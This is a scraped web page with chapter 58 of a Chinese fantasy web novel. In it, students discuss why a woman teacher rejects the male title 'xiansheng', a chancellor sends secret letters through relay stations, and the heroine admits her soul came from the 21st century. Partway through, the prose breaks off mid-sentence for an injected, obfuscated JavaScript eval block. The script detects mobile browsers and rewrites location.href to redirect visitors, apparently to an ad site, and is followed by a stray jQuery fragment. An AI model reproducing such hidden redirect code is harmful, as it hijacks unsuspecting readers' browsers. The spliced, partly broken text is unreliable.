默认冷灰
24号文字
方正启体

58.第 58 章

作者:有毒喷菇本书字数:K更新时间:
    其实称呼苏逢雨为“修士”没什么问题,她还没正式成为归墟请来的教习先生,或者章存舒喊她修士喊习惯了一时没改口,都有可能是这样叫的原因。


    她昨晚也只是随口一问,料想着左不过也就那些原因,谁料章存舒说:“这问题不如你们明日问她,想必她会有比我更精彩的答案。”


    那就说明了章存舒是特意这样叫的,不存在习惯了一时没改过来的原因,也并非因为苏逢雨尚且不是正式的教习先生才这样称呼,这个称呼是苏逢雨自己指定的,并且听章存舒的意思,苏逢雨还很有可能不愿被用“先生”称呼。


    平心而论,这件事没什么特别的,每个人都会有各自在意的事,这些事在别人眼里或许只是一些无关轻重的小细节。


    但关云铮无端想起自己还没有穿越过来之前,频繁在网络上看到的辩论,关于该用“先生”还是“女士”来称呼一位民国时期的女作家。因此当苏逢雨表示随便问什么问题时,她就提出了这个疑问。


    说实话,问完的当下她就有点后悔,因为这个问题算不得很友好,她自忖甚至有几分冒犯,但话已出口,覆水难收,她只好忐忑地等待着苏逢雨表态。


    苏逢雨没生气,应该说她的神情没什么变化:“先生是给男人的称号。”


    嗯……感觉苏逢雨在这件事上的态度越来越像“现代人”了,只不过她比网络上的某些过激网民温和多了。


    楚悯试探着:“那蒲先生……?”可以这样叫蒲飞鸢吗?


    蒲飞鸢还没表态,苏逢雨先面无表情道:“关我什么事,问她去。”


    关云铮汗流浃背了:也不是问您啊……而且现在您二位不就挨着坐呢吗……


    “谁说的教书育人的只能是男人?凭什么男女都能做的事,到了女人身上,就得委屈用给男人的称号?朝廷都单独给女子开设科举了,以后教书育人为官为民的不只有男人,为何不能取一个别的称号来称呼这些女人?”一片沉默中,苏逢雨忽然说了一长串话,只是她话音落下后,小院里更安静了。


    楚悯和关云铮在思考,蒲飞鸢则露出有些苦恼的神情,只是那神情很短暂,还没等关云铮注意到,就被蒲飞鸢不动声色地按捺下去了:“修士不也挺好的吗?”


    苏逢雨居然冷笑了一声,关云铮和楚悯不明所以但下意识一惊,还没等两人想明白她为何冷笑,就听她对着蒲飞鸢说:“我可以不用这个新的称号,但是它不能没有。你一直不明白我究竟想要什么。”


    说完苏逢雨就抱着琴起身,头也不回地往外走了。


    蒲飞鸢似乎也没料到苏逢雨的动作,坐在原地愣了一会儿才追上去,甚至顾不上跟两位学生解释几句。


    关云铮被楚悯叫她名字的声音唤回思绪:“怎么了?”


    楚悯把月下逢挪远了些:“在想什么?”


    关云铮不答反问:“小悯,你看过话本吗?”


    楚悯摇摇头:“未曾,但大概知道一些,讲的都是些情节精彩有趣的故事。怎么忽然说起这个?”


    关云铮看着她:“你觉得,我们所在的世界,会是某个人写的话本吗?”


    ****


    柳卿知按照计划,在天色彻底黑沉下来之前抵达了一处驿站,翻身下马后,把缰绳交到听见动静出门相迎的人手中。


    “您用过晚膳了吗?”相迎牵马者是个刚及笄的小姑娘,抬头看柳卿知时眼神关切,亮晶晶的。


    柳卿知摇头,背着包袱往里走:“后厨还有什么,随意吃些便可。”


    那姑娘把马交给驿站内的小厮:“酒肉饭菜都还有,您吃些什么?”


    柳卿知失笑:“随你,我不挑。”


    “那您先进去稍候。”姑娘说完便提着裙摆匆匆跑向后厨了。


    柳卿知尚未担任宰相一职的前几年,被苍韫桢假借各种名头在全国范围内调派,时而去离朝安近些的北方,时而又被“左迁”,去西北的荒郊野外任官。而且总是从差些的地方回来便升官,要不了多久又贬,搞得朝中一多半的人都对苍韫桢那段日子的举动一头雾水。


    但柳卿知官阶太低,在皇帝面前也说不上话,每次不论是拔擢还是贬谪,都混在一群旁的封赏和惩处里,不算十分引人注意。


    朝中自然也有清楚皇帝想做什么的人,个别胆大的还派出心腹去往柳卿知任官之地私自调查,发觉柳卿知无论在何处都只是每日帮着调停些鸡零狗碎,为官几年也没点官威,始终被百姓呼来喝去,这一来二去,也就没了继续探查的念头。


    有句俗语叫“屁股决定脑袋”,柳卿知始终觉得这句话无比正确,只是不知道是处在何处的屁股,能有如此智慧的脑袋。


    世家门阀一代代传承下来的官位坐久了容易丢掉脑袋,跟踪她去了那么多地方也没看出她在做什么,没查出她管辖的范围之内,还有很多处像此处一样的驿站。


    她在桌边坐了会儿,方才的姑娘已经手脚利索地端着饭菜进门了:“您慢用,若有需要我就在门外。”


    柳卿知颔首:“多谢。”


    那姑娘连忙摇摇头:“您客气了,能帮上您是我的荣幸。”


    柳卿知笑了一下:“我白吃白喝你怎么反倒感恩戴德?不要被最初的恩情裹挟,若我是坏人呢?”


    “您又不是坏人,驿站都是靠您才搭建起来的,怎么能说是白吃白喝。”


    柳卿知知道她是要较真了,赶紧抬手示弱:“劳烦你去帮我喂喂马,还有今夜住的房间,也得麻烦你了。”


    那姑娘这才罢休,嘴里低声念叨着什么,走出门去了。


    柳卿知拿出纸笔给苍韫桢写信,写完后把信纸丢进一旁的火盆里,看着它燃烧殆尽,连灰烬都没剩下。


    提前安排好全国各处的驿站有两个原因:一是安插人手方便获取各地的消息,另一便是为了建立通信渠道。


    自从她坐上宰相之位,苍韫桢的计划、柳卿知的布局便只有彼此知晓,自然也包括了各处驿站里灯火的位置。


    确认信纸被吞噬殆尽后,柳卿知简单收拾了碗筷,走出门去。


    天色黑得能漏墨,唯有不远处的马厩和她站立的地方,各自点了一盏昏黄的灯。


    ****


    “如果,我是说如果,我们所处的世界源自某个人写的话本,笔墨构成了此处的山水草木,情节搭建了万事万物运行的法则。而在这一切之上,话本的撰写者将自己的意志倾注于此。”


    楚悯神色专注:“倾注意志?你的意思是某些事物的发展不受我们掌控,而是被撰写者的意志掌控?”


    关云铮点点头:“还有一种可能,撰写者会把自己的意志投注于笔下某个角色身上,让那个角色说出撰写者本人想说的话。”


    楚悯明白她忽然提起这个是想表达什么了,问道:“你觉得苏修士的身上有撰写者的意志?”


    关云铮瞬间收敛了脸上凝重的神色,笑着摊开双手,表示自己说的话做不得真:“那倒不是,我只是忽而有个猜测。”


    把苏逢雨的清醒言论说成是“撰写者的意志”无疑是另一种不加思考的残忍,就像旁观他人在没顶的泥潭中挣扎求生,没有任何帮助的情况下,艰难探出脑袋求得一点喘息的余地,又残忍地加了一铲子的泥。


    一句轻描淡写的“她的言论不过是因为背后有人操纵”,就会抹杀掉这个人成长过程中所有的闪光时刻。


    因此关云铮又找补了一句:“只是猜测,没有根据,就是觉得苏修士


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155531|159306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方才说的话更像是我在,额……”


    “在别处看来的?”楚悯同她心有灵犀似的,笑着问道。


    关云铮被她逗笑,总用“别处”来指代那个不同的世界,小悯都快习惯性接梗了。


    她叹了口气,觉得到现在也没什么好隐瞒的了,估计面前的天问奇才早八百年就看出来她魂魄和壳子不是同一个出厂配置了,索性坦白道:“这具躯体并不属于我。”


    楚悯愣了一下,但并非因为她所说的话,而是没料到她会在这样的时机下说出这话:“我知道……只是,你大可不将此事告知于我。”


    关云铮摇头:“我有不太好的预感,所以此事我必须说给你听。”


    她抬手示意楚悯别打断自己,然后尽量用听起来像正常人的语言形容了可能根本不在同一个时空的21世纪,和21世纪颇受欢迎的修仙文题材,说完后看向楚悯:“这样说你能明白吗?”


    楚悯没犹豫就点了点头:“其实我并不在意你的魂魄来自何处,虽然我确实在第一次见到你时就忍不住‘问’过,那时我已经得知你的魂魄并不属于此间,但在那之后,我是真心想要与你做朋友。”


    说到这楚悯也有点惭愧:“尚未得到你的许可便私自窥探,实属不该。”


    关云铮不在意,毕竟这技能对于小悯来说都快成被动了,放入场地就生效的东西有什么办法。


    楚悯很快问出她更在意的问题,神色忧虑:“你说这些之前说,‘有不好的预感’?”


    关云铮此时反倒有些难以启齿起来,对比起袒露自己的秘密,她更无法开口把原身的事情说出来,但这件事偏又非说不可:“我第一次下山时遇见了鬼灯楼的人,此事你还记得吧?”


    楚悯点头:“记得。”


    关云铮伸出手指向自己,艰难道:“其中一人说,他见过‘我’,‘我’是个本该死了的人。”


    楚悯皱眉:“是他们取了这具躯体的生魂?”


    关云铮点头:“这次下山寻找武器,我仍旧想查清此事,被阵法送往天问,在溯洄中‘见到了’她的魂魄。”


    楚悯的神色也明显地焦灼起来:“如何?可听到她生前说的话了?或是看到她生前所经之事?”


    关云铮摇了摇头:“我只听见她同一个人对话,那人问她‘你当真自愿’?她答‘是,我自愿’,其余什么也没得见。”


    楚悯不由得问出了和彼时关云铮想的一样的问题:“自愿?自愿什么?”


    但是两人都心知肚明,没有生前的景象支撑,她们是无法得出确切的结论的,最多也只是大胆但毫无依据的猜测。


    “献舍当真失传了吗?”关云铮忍不住问道。


    楚悯居然有些凶地瞪了她一眼,随后才说:“不许说这话,若你是献舍召来的恶魂,章先生又怎么会看不出,又怎会收你入门。”


    关云铮被她一眼瞪懵了,过了好一会儿才安抚道:“好好我不说了,别生我的气。”


    楚悯还有些不高兴似的:“献舍时躯体上也需勾画阵法,不可能不留下痕迹,所以必然不是献舍。”


    关云铮心想,那大概也不是夺舍了吧,她要是敢说自己是夺舍估计小悯还能横她一眼。


    楚悯看她没有要自贬的意思了,神色好些:“是这两次下山都没寻出真相,让你觉得有必要把这件事告诉我吗?”


    关云铮点点头:“我希望你也知道此事,知道有这样一个……可怜人。”


    连怎么死的都不知道的可怜人。


    楚悯轻轻拍了拍她的手背:“一定能查出真相的。”


    关云铮正想积极地给个回应,江却已经不打招呼直接从月洞门那边跨过来了,一露面就看向了她:“山下出事了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)